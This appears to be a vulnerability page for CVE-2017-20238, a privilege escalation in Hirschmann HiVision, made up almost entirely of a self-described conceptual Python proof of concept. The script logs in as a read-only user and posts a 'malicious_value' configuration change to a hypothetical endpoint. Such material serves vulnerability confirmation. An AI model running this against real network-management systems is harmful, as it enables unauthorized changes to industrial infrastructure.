CVE-2017-20238 Hirschmann HiVision权限提升漏洞

import requests # Conceptual PoC for CVE-2017-20238 # This script demonstrates how a read-only user might trigger a configuration change. TARGET_URL = "https://<target-ip>/api/config" # Hypothetical endpoint USERNAME = "readonly_user" PASSWORD = "readonly_pass" session = requests.Session() # Step 1: Authenticate as a low-privilege user login_payload = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/login", json=login_payload, verify=False) if login_response.status_code == 200: print("[+] Login successful as read-only user.") # Step 2: Attempt to modify configuration (Privilege Escalation) # Exploiting the improper authorization on the write interface config_payload = { "setting": "critical_config", "value": "malicious_value" } exploit_response = session.post(f"{TARGET_URL}/update", json=config_payload, verify=False) if exploit_response.status_code == 200: print("[+] Configuration modified successfully! Vulnerability confirmed.") else: print("[-] Failed to modify configuration.") else: print("[-] Login failed.")